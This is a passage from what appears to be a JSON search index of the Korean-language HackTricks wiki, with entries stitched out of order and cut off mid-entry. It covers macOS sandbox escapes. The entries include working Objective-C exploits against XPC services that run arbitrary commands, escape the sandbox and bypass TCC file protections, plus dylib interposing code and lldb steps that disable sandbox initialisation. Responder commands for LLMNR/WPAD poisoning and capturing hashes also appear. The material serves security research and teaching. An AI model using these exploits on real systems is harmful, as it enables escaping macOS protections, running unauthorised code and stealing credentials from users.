bash codesign --entitlements entitlements.plist -s \\"YourIdentity\\" SandboxedShellApp.app\\n./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp # An d in case you need this in the future\\ncodesign --remove-signature SandboxedShellApp.app tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Default Sandbox Debug » macOS 기본 샌드박스 디버그","id":"2600","title":"macOS 기본 샌드박스 디버그"},"2601":{"body":"Reading time: 14 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » macOS Sandbox Debug & Bypass","id":"2601","title":"macOS Sandbox Debug & Bypass"},"2602":{"body":"Image from http://newosxbook.com/files/HITSB.pdf 이전 이미지에서는 com.apple.security.app-sandbox 권한을 가진 애플리케이션이 실행될 때 샌드박스가 어떻게 로드되는지 관찰할 수 있습니다. 컴파일러는 /usr/lib/libSystem.B.dylib를 바이너리에 링크합니다. 그런 다음, **libSystem.B**는 여러 다른 함수를 호출하여 **xpc_pipe_routine**이 애플리케이션의 권한을 **securityd**에 전송합니다. Securityd는 프로세스가 샌드박스 내에서 격리되어야 하는지 확인하고, 그렇다면 격리합니다. 마지막으로, 샌드박스는 **__sandbox_ms**에 대한 호출로 활성화되며, 이는 **__mac_syscall**을 호출합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » Sandbox loading process","id":"2602","title":"Sandbox loading process"},"2603":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » Possible Bypasses","id":"2603","title":"Possible Bypasses"},"2604":{"body":"샌드박스화된 프로세스에 의해 생성된 파일 은 샌드박스 탈출을 방지하기 위해 격리 속성 이 추가됩니다. 그러나 샌드박스화된 애플리케이션 내에서 격리 속성이 없는 .app 폴더를 생성 할 수 있다면, 애플리케이션 번들 바이너리를 **/bin/bash**로 가리키게 하고 plist 에 몇 가지 환경 변수를 추가하여 새 애플리케이션을 비샌드박스 상태로 실행 할 수 있습니다. 이것은 CVE-2023-32364 에서 수행된 작업입니다. caution 따라서 현재로서는 **격리 속성이 없는 .app**로 끝나는 이름의 폴더를 생성할 수 있다면, 샌드박스를 탈출할 수 있습니다. macOS는 .app 폴더 와 주 실행 파일 에서만 격리 속성을 확인 하기 때문입니다 (우리는 주 실행 파일을 **/bin/bash**로 가리키게 할 것입니다). 이미 실행을 허가받은 .app 번들이 있다면 (실행 허가 플래그가 있는 격리 xttr가 있는 경우), 그것을 악용할 수도 있습니다... 단, 이제는 샌드박스 내에서는 일부 특권 TCC 권한이 없으면 .app 번들 내에 쓸 수 없습니다 (샌드박스 높은 권한 내에서는 불가능합니다).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » Bypassing quarantine attribute","id":"2604","title":"Bypassing quarantine attribute"},"2605":{"body":"Word 샌드박스 우회에 대한 마지막 예시 에서는 open CLI 기능이 샌드박스를 우회하는 데 어떻게 악용될 수 있는지 확인할 수 있습니다. macOS Office Sandbox Bypasses","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » Abusing Open functionality","id":"2605","title":"Abusing Open functionality"},"2606":{"body":"애플리케이션이 샌드박스화되어야 하는 경우 (com.apple.security.app-sandbox), 예를 들어 LaunchAgent (~/Library/LaunchAgents)에서 실행되면 샌드박스를 우회할 수 있습니다. 이 게시물 에서 설명한 바와 같이, 샌드박스화된 애플리케이션으로 지속성을 얻으려면 LaunchAgent로 자동 실행되도록 만들고 DyLib 환경 변수를 통해 악성 코드를 주입할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » Launch Agents/Daemons","id":"2606","title":"Launch Agents/Daemons"},"2607":{"body":"샌드박스화된 프로세스가 나중에 비샌드박스 애플리케이션이 바이너리를 실행할 위치에 쓰기 할 수 있다면, 그곳에 바이너리를 배치하기만 하면 탈출할 수 있습니다 . 이러한 위치의 좋은 예는 ~/Library/LaunchAgents 또는 /System/Library/LaunchDaemons입니다. 이를 위해서는 2단계 가 필요할 수 있습니다: 더 관대 한 샌드박스 (file-read*, file-write*)를 가진 프로세스를 실행하여 실제로 비샌드박스 상태로 실행될 위치에 코드를 작성하게 합니다. 자동 시작 위치 에 대한 이 페이지를 확인하세요: macOS Auto Start","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » Abusing Auto Start Locations","id":"2607","title":"Abusing Auto Start Locations"},"2608":{"body":"샌드박스 프로세스에서 덜 제한적인 샌드박스 (또는 없는 샌드박스)에서 실행 중인 다른 프로세스를 타격 할 수 있다면, 그들의 샌드박스를 탈출할 수 있습니다: macOS Process Abuse","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » Abusing other processes","id":"2608","title":"Abusing other processes"},"2609":{"body":"샌드박스는 또한 프로필 application.sb에 정의된 특정 Mach 서비스 와 통신할 수 있도록 허용합니다. 이러한 서비스 중 하나를 악용 할 수 있다면 샌드박스를 탈출할 수 있습니다 . 이 글 에 따르면, Mach 서비스에 대한 정보는 /System/Library/xpc/launchd.plist에 저장됩니다. SystemUser를 검색하여 모든 시스템 및 사용자 Mach 서비스를 찾을 수 있습니다. 또한, bootstrap_look_up을 호출하여 샌드박스화된 애플리케이션에 Mach 서비스가 사용 가능한지 확인할 수 있습니다. objectivec void checkService(const char *serviceName) {\\nmach_port_t service_port = MACH_PORT_NULL;\\nkern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);\\nif (!err) {\\nNSLog(@\\"available service:%s\\", serviceName);\\nmach_port_deallocate(mach_task_self_, service_port);\\n}\\n} void print_available_xpc(void) {\\nNSDictionary* dict = [NSDictionary dictionaryWithContentsOfFile:@\\"/System/Library/xpc/launchd.plist\\"];\\nNSDictionary* launchDaemons = dict[@\\"LaunchDaemons\\"];\\nfor (NSString* key in launchDaemons) {\\nNSDictionary* job = launchDaemons[key];\\nNSDictionary* machServices = job[@\\"MachServices\\"];\\nfor (NSString* serviceName in machServices) {\\ncheckService(serviceName.UTF8String);\\n}\\n}\\n}","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » Available System and User Mach services","id":"2609","title":"Available System and User Mach services"},"261":{"body":"WPAD는 브라우저가 프록시 설정을 자동으로 발견할 수 있도록 합니다. 발견은 DHCP, DNS를 통해 이루어지며, DNS가 실패할 경우 LLMNR 및 NBT-NS로 대체됩니다. Responder는 WPAD 공격을 자동화하여 클라이언트를 악성 WPAD 서버로 유도할 수 있습니다.","breadcrumbs":"Pentesting Network » Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks » 웹 프록시 자동 검색 프로토콜 (WPAD)","id":"261","title":"웹 프록시 자동 검색 프로토콜 (WPAD)"},"2610":{"body":"이 Mach 서비스는 이 문서에서 샌드박스를 탈출하는 데 처음으로 악용되었습니다 . 그 당시, 애플리케이션과 그 프레임워크에서 요구되는 모든 XPC 서비스 가 앱의 PID 도메인에서 보였습니다(이들은 ServiceType이 Application인 Mach 서비스입니다). PID 도메인 XPC 서비스에 연락하기 위해서는 , 앱 내에서 다음과 같은 한 줄로 등록하기만 하면 됩니다: objectivec [[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework\\"]load]; 또한, Application에 대해 System/Library/xpc/launchd.plist 내에서 검색하여 모든 Application Mach 서비스를 찾는 것이 가능합니다. 유효한 xpc 서비스를 찾는 또 다른 방법은 다음의 서비스를 확인하는 것입니다: bash find /System/Library/Frameworks -name \\"*.xpc\\"\\nfind /System/Library/PrivateFrameworks -name \\"*.xpc\\" 이 기술을 악용한 여러 예시는 원본 작성물 에서 찾을 수 있지만, 다음은 요약된 예시입니다. /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc 이 서비스는 항상 YES를 반환하여 모든 XPC 연결을 허용하며, 메서드 runTask:arguments:withReply:는 임의의 명령을 임의의 매개변수로 실행합니다. 익스플로잇은 \\"매우 간단하게\\" 다음과 같았습니다: objectivec @protocol SKRemoteTaskRunnerProtocol\\n-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;\\n@end void exploit_storagekitfsrunner(void) {\\n[[NSBundle bundleWithPath:@\\"/System/Library/PrivateFrameworks/StorageKit.framework\\"] load];\\nNSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@\\"com.apple.storagekitfsrunner\\"];\\nconn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];\\n[conn setInterruptionHandler:^{NSLog(@\\"connection interrupted!\\");}];\\n[conn setInvalidationHandler:^{NSLog(@\\"connection invalidated!\\");}];\\n[conn resume]; [[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@\\"/usr/bin/touch\\"] arguments:@[@\\"/tmp/sbx\\"] withReply:^(NSNumber *bSucc, NSError *error) {\\nNSLog(@\\"run task result:%@, error:%@\\", bSucc, error);\\n}];\\n} /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc 이 XPC 서비스는 항상 YES를 반환하여 모든 클라이언트를 허용했으며, 메서드 createZipAtPath:hourThreshold:withReply:는 압축할 폴더의 경로를 지정할 수 있게 해주었습니다. 그러면 ZIP 파일로 압축됩니다. 따라서 가짜 앱 폴더 구조를 생성하고 압축한 다음, 이를 풀고 실행하여 샌드박스를 탈출할 수 있습니다. 새로운 파일은 격리 속성을 가지지 않기 때문입니다. 익스플로잇은: objectivec @protocol AudioAnalyticsHelperServiceProtocol\\n-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;\\n-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;\\n@end\\nvoid exploit_AudioAnalyticsHelperService(void) {\\nNSString *currentPath = NSTemporaryDirectory();\\nchdir([currentPath UTF8String]);\\nNSLog(@\\"======== preparing payload at the current path:%@\\", currentPath);\\nsystem(\\"mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json\\");\\n[@\\"#!/bin/bash\\\\ntouch /tmp/sbx\\\\n\\" writeToFile:@\\"compressed/poc.app/Contents/MacOS/poc\\" atomically:YES encoding:NSUTF8StringEncoding error:0];\\nsystem(\\"chmod +x compressed/poc.app/Contents/MacOS/poc\\"); [[NSBundle bundleWithPath:@\\"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework\\"] load];\\nNSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@\\"com.apple.internal.audioanalytics.helper\\"];\\nconn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];\\n[conn resume]; [[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){\\nNSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];\\nNSString *file;\\nwhile ((file = [dirEnum nextObject])) {\\nif ([[file pathExtension] isEqualToString: @\\"zip\\"]) {\\n// open the zip\\nNSString *cmd = [@\\"open \\" stringByAppendingString:file];\\nsystem([cmd UTF8String]); sleep(3); // wait for decompression and then open the payload (poc.app)\\nNSString *cmd2 = [NSString stringWithFormat:@\\"open /Users/%@/Downloads/%@/poc.app\\", NSUserName(), [file stringByDeletingPathExtension]];\\nsystem([cmd2 UTF8String]);\\nbreak;\\n}\\n}\\n}];\\n} /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc 이 XPC 서비스는 extendAccessToURL:completion: 메서드를 통해 XPC 클라이언트에게 임의의 URL에 대한 읽기 및 쓰기 액세스를 제공합니다. XPC 서비스가 FDA를 가지고 있기 때문에, 이러한 권한을 악용하여 TCC를 완전히 우회할 수 있습니다. 악용 방법은: objectivec @protocol WFFileAccessHelperProtocol\\n- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;\\n@end\\ntypedef int (*PFN)(const char *);\\nvoid expoit_ShortcutsFileAccessHelper(NSString *target) {\\n[[NSBundle bundleWithPath:@\\"/System/Library/PrivateFrameworks/WorkflowKit.framework\\"]load];\\nNSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@\\"com.apple.WorkflowKit.ShortcutsFileAccessHelper\\"];\\nconn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];\\n[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass(\\"FPSandboxingURLWrapper\\")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];\\n[conn resume]; [[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {\\nNSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];\\nNSURL *targetURL = [fpWrapper url]; void *h = dlopen(\\"/usr/lib/system/libsystem_sandbox.dylib\\", 2);\\nPFN sandbox_extension_consume = (PFN)dlsym(h, \\"sandbox_extension_consume\\");\\nif (sandbox_extension_consume([sbxToken UTF8String]) == -1)\\nNSLog(@\\"Fail to consume the sandbox token:%@\\", sbxToken);\\nelse {\\nNSLog(@\\"Got the file R&W permission with sandbox token:%@\\", sbxToken);\\nNSLog(@\\"Read the target content:%@\\", [NSData dataWithContentsOfURL:targetURL]);\\n}\\n}];\\n}","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » 사용 가능한 PID Mach 서비스","id":"2610","title":"사용 가능한 PID Mach 서비스"},"2611":{"body":"이 연구 는 Sandbox를 우회하는 2가지 방법을 발견했습니다. Sandbox는 libSystem 라이브러리가 로드될 때 사용자 공간에서 적용됩니다. 이진 파일이 이를 로드하는 것을 피할 수 있다면, 절대 Sandbox에 걸리지 않을 것입니다: 이진 파일이 완전히 정적으로 컴파일 되었다면, 해당 라이브러리를 로드하는 것을 피할 수 있습니다. 이진 파일이 어떤 라이브러리도 로드할 필요가 없다면 (링커도 libSystem에 있기 때문에), libSystem을 로드할 필요가 없습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » Static Compiling & Dynamically linking","id":"2611","title":"Static Compiling & Dynamically linking"},"2612":{"body":"심지어 shellcodes 도 ARM64에서 libSystem.dylib에 링크되어야 한다는 점에 유의하세요: bash ld -o shell shell.o -macosx_version_min 13.0\\nld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » Shellcodes","id":"2612","title":"Shellcodes"},"2613":{"body":"** 이 글의 보너스 **에서 설명한 것처럼, 샌드박스 제한은 다음과 같습니다: (version 1)\\n(allow default)\\n(deny file-write* (literal \\"/private/tmp/sbx\\")) 새 프로세스가 예를 들어 실행됨으로써 우회될 수 있습니다: bash mkdir -p /tmp/poc.app/Contents/MacOS\\necho \'#!/bin/sh\\\\n touch /tmp/sbx\' > /tmp/poc.app/Contents/MacOS/poc\\nchmod +x /tmp/poc.app/Contents/MacOS/poc\\nopen /tmp/poc.app 그러나 물론 이 새로운 프로세스는 부모 프로세스의 권한이나 특권을 상속받지 않습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » 상속되지 않은 제한","id":"2613","title":"상속되지 않은 제한"},"2614":{"body":"특정 entitlement 이 있는 경우, 일부 actions 가 sandbox에 의해 허용될 수 있음을 유의하십시오. scheme (when (entitlement \\"com.apple.security.network.client\\")\\n(allow network-outbound (remote ip))\\n(allow mach-lookup\\n(global-name \\"com.apple.airportd\\")\\n(global-name \\"com.apple.cfnetwork.AuthBrokerAgent\\")\\n(global-name \\"com.apple.cfnetwork.cfnetworkagent\\")\\n[...]","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » Entitlements","id":"2614","title":"Entitlements"},"2615":{"body":"Interposting 에 대한 자세한 정보는 다음을 확인하세요: macOS Function Hooking 샌드박스를 방지하기 위해 _libsecinit_initializer를 인터포스트합니다. c // gcc -dynamiclib interpose.c -o interpose.dylib #include void _libsecinit_initializer(void); void overriden__libsecinit_initializer(void) {\\nprintf(\\"_libsecinit_initializer called\\\\n\\");\\n} __attribute__((used, section(\\"__DATA,__interpose\\"))) static struct {\\nvoid (*overriden__libsecinit_initializer)(void);\\nvoid (*_libsecinit_initializer)(void);\\n}\\n_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer}; bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand\\n_libsecinit_initializer called\\nSandbox Bypassed! Interpost __mac_syscall로 샌드박스 방지하기 interpose.c // gcc -dynamiclib interpose.c -o interpose.dylib #include \\n#include // Forward Declaration\\nint __mac_syscall(const char *_policyname, int _call, void *_arg); // Replacement function\\nint my_mac_syscall(const char *_policyname, int _call, void *_arg) {\\nprintf(\\"__mac_syscall invoked. Policy: %s, Call: %d\\\\n\\", _policyname, _call);\\nif (strcmp(_policyname, \\"Sandbox\\") == 0 && _call == 0) {\\nprintf(\\"Bypassing Sandbox initiation.\\\\n\\");\\nreturn 0; // pretend we did the job without actually calling __mac_syscall\\n}\\n// Call the original function for other cases\\nreturn __mac_syscall(_policyname, _call, _arg);\\n} // Interpose Definition\\nstruct interpose_sym {\\nconst void *replacement;\\nconst void *original;\\n}; // Interpose __mac_syscall with my_mac_syscall\\n__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section(\\"__DATA, __interpose\\"))) = {\\n{ (const void *)my_mac_syscall, (const void *)__mac_syscall },\\n}; bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand __mac_syscall invoked. Policy: Sandbox, Call: 2\\n__mac_syscall invoked. Policy: Sandbox, Call: 2\\n__mac_syscall invoked. Policy: Sandbox, Call: 0\\nBypassing Sandbox initiation.\\n__mac_syscall invoked. Policy: Quarantine, Call: 87\\n__mac_syscall invoked. Policy: Sandbox, Call: 4\\nSandbox Bypassed!","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » Interposting Bypass","id":"2615","title":"Interposting Bypass"},"2616":{"body":"샌드박스되어야 하는 애플리케이션을 컴파일해 보겠습니다: sand.c\\nentitlements.xml\\nInfo.plist c #include \\nint main() {\\nsystem(\\"cat ~/Desktop/del.txt\\");\\n} xml \\n\\ncom.apple.security.app-sandbox\\n\\n\\n xml \\n\\nCFBundleIdentifier\\nxyz.hacktricks.sandbox\\nCFBundleName\\nSandbox\\n\\n 그런 다음 앱을 컴파일합니다: bash # Compile it\\ngcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand # Create a certificate for \\"Code Signing\\" # Apply the entitlements via signing\\ncodesign -s --entitlements entitlements.xml sand caution 이 앱은 ~/Desktop/del.txt 파일을 읽으려고 할 것이며, Sandbox는 이를 허용하지 않습니다 . Sandbox가 우회된 후 읽을 수 있도록 그곳에 파일을 만드세요: echo \\"Sandbox Bypassed\\" > ~/Desktop/del.txt 애플리케이션을 디버깅하여 Sandbox가 언제 로드되는지 확인해 봅시다: bash # Load app in debugging\\nlldb ./sand # Set breakpoint in xpc_pipe_routine\\n(lldb) b xpc_pipe_routine # run\\n(lldb) r # This breakpoint is reached by different functionalities\\n# Check in the backtrace is it was de sandbox one the one that reached it\\n# We are looking for the one libsecinit from libSystem.B, like the following one:\\n(lldb) bt\\n* thread #1, queue = \'com.apple.main-thread\', stop reason = breakpoint 1.1\\n* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine\\nframe #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584\\nframe #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64\\nframe #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80\\nframe #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272 # To avoid lldb cutting info\\n(lldb) settings set target.max-string-summary-length 10000 # The message is in the 2 arg of the xpc_pipe_routine function, get it with:\\n(lldb) p (char *) xpc_copy_description($x1)\\n(char *) $0 = 0x000000010100a400 \\" { count = 5, transaction: 0, voucher = 0x0, contents =\\\\n\\\\t\\\\\\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\\\\\\" => { length = 4, contents = \\\\\\"sand\\\\\\" }\\\\n\\\\t\\\\\\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\\\\\\" => { count = 42, capacity = 64, contents =\\\\n\\\\t\\\\t0: { length = 14, contents = \\\\\\"/tmp/lala/sand\\\\\\" }\\\\n\\\\t\\\\t1: { length = 22, contents = \\\\\\"/private/tmp/lala/sand\\\\\\" }\\\\n\\\\t\\\\t2: { length = 26, contents = \\\\\\"/usr/lib/libSystem.B.dylib\\\\\\" }\\\\n\\\\t\\\\t3: { length = 30, contents = \\\\\\"/usr/lib/system/libcache.dylib\\\\\\" }\\\\n\\\\t\\\\t4: { length = 37, contents = \\\\\\"/usr/lib/system/libcommonCrypto.dylib\\\\\\" }\\\\n\\\\t\\\\t5: { length = 36, contents = \\\\\\"/usr/lib/system/libcompiler_rt.dylib\\\\\\" }\\\\n\\\\t\\\\t6: { length = 33, contents = \\\\\\"/usr/lib/system/libcopyfile.dylib\\\\\\" }\\\\n\\\\t\\\\t7: { length = 35, contents = \\\\\\"/usr/lib/system/libcorecry\\"... # The 3 arg is the address were the XPC response will be stored\\n(lldb) register read x2\\nx2 = 0x000000016fdfd660 # Move until the end of the function\\n(lldb) finish # Read the response\\n## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\\n(lldb) memory read -f p 0x000000016fdfd660 -c 1\\n0x16fdfd660: 0x0000600003d04000\\n(lldb) p (char *) xpc_copy_description(0x0000600003d04000)\\n(char *) $4 = 0x0000000100204280 \\" { count = 7, transaction: 0, voucher = 0x0, contents =\\\\n\\\\t\\\\\\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\\\\\\" => { length = 22, contents = \\\\\\"xyz.hacktricks.sandbox\\\\\\" }\\\\n\\\\t\\\\\\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\\\\\\" => : 2\\\\n\\\\t\\\\\\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\\\\\\" => { length = 65, contents = \\\\\\"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\\\\\\" }\\\\n\\\\t\\\\\\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\\\\\\" => : { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\\\\n\\\\t\\\\\\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\\\\\\" => : 1\\\\n\\\\t\\\\\\"SECINITD_MESSAGE_TYPE_KEY\\\\\\" => : 2\\\\n\\\\t\\\\\\"SECINITD_REPLY_FAILURE_CODE\\\\\\" => : 0\\\\n}\\" # To bypass the sandbox we need to skip the call to __mac_syscall\\n# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)\\n(lldb) breakpoint set --name __mac_syscall --condition \'($x1 == 0)\'\\n(lldb) c # The 1 arg is the name of the policy, in this case \\"Sandbox\\"\\n(lldb) memory read -f s $x0\\n0x19300eb22: \\"Sandbox\\" #\\n# BYPASS\\n# # Due to the previous bp, the process will be stopped in:\\nProcess 2517 stopped\\n* thread #1, queue = \'com.apple.main-thread\', stop reason = breakpoint 1.1\\nframe #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall\\nlibsystem_kernel.dylib`:\\n-> 0x187659900 <+0>: mov x16, #0x17d\\n0x187659904 <+4>: svc #0x80\\n0x187659908 <+8>: b.lo 0x187659928 ; <+40>\\n0x18765990c <+12>: pacibsp # To bypass jump to the b.lo address modifying some registers first\\n(lldb) breakpoint delete 1 # Remove bp\\n(lldb) register write $pc 0x187659928 #b.lo address\\n(lldb) register write $x0 0x00\\n(lldb) register write $x1 0x00\\n(lldb) register write $x16 0x17d\\n(lldb) c\\nProcess 2517 resuming\\nSandbox Bypassed!\\nProcess 2517 exited with status = 0 (0x00000000) [!WARNING] > 샌드박스를 우회하더라도 TCC 는 사용자가 프로세스가 데스크탑의 파일을 읽는 것을 허용할지 물어볼 것입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » Debug & bypass Sandbox with lldb","id":"2616","title":"Debug & bypass Sandbox with lldb"},"2617":{"body":"http://newosxbook.com/files/HITSB.pdf https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/ https://www.youtube.com/watch?v=mG715HcDgO8 tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » References","id":"2617","title":"References"},"2618":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » macOS Office Sandbox Bypasses » macOS Office Sandbox Bypasses","id":"2618","title":"macOS Office Sandbox Bypasses"},"2619":{"body":"이 애플리케이션은 com.apple.security.temporary-exception.sbpl 권한을 사용하는 커스텀 샌드박스 를 사용하며, 이 커스텀 샌드박스는 파일 이름이 ~$로 시작하는 한 어디에나 파일을 쓸 수 있도록 허용합니다: (require-any (require-all (vnode-type REGULAR-FILE) (regex #\\"(^|/)~$[^/]+$\\"))) 따라서 탈출은 **~/Library/LaunchAgents/~$escape.plist**에 plist LaunchAgent를 작성하는 것만큼 쉬웠습니다. 원본 보고서 확인하기 를 확인하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » macOS Office Sandbox Bypasses » Word Sandbox bypass via Launch Agents","id":"2619","title":"Word Sandbox bypass via Launch Agents"},"262":{"body":"Responder 는 LLMNR, NBT-NS 및 mDNS 쿼리를 오염시키기 위해 사용되는 도구로, 주로 SMB 서비스를 목표로 쿼리 유형에 따라 선택적으로 응답합니다. Kali Linux에 기본적으로 설치되어 있으며, /etc/responder/Responder.conf에서 구성할 수 있습니다. Responder는 캡처된 해시를 화면에 표시하고 /usr/share/responder/logs 디렉토리에 저장합니다. IPv4와 IPv6를 모두 지원합니다. Windows 버전의 Responder는 여기 에서 사용할 수 있습니다. Responder 실행 기본 설정으로 Responder를 실행하려면: responder -I 더 공격적인 탐색을 위해 (잠재적인 부작용이 있을 수 있음): responder -I -P -r -v NTLMv1 챌린지/응답을 캡처하여 더 쉽게 크랙할 수 있는 기술: responder -I --lm --disable-ess WPAD 가장을 활성화하려면: responder -I --wpad NetBIOS 요청을 공격자의 IP로 해결하고 인증 프록시를 설정할 수 있습니다: responder.py -I -Pv","breadcrumbs":"Pentesting Network » Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay 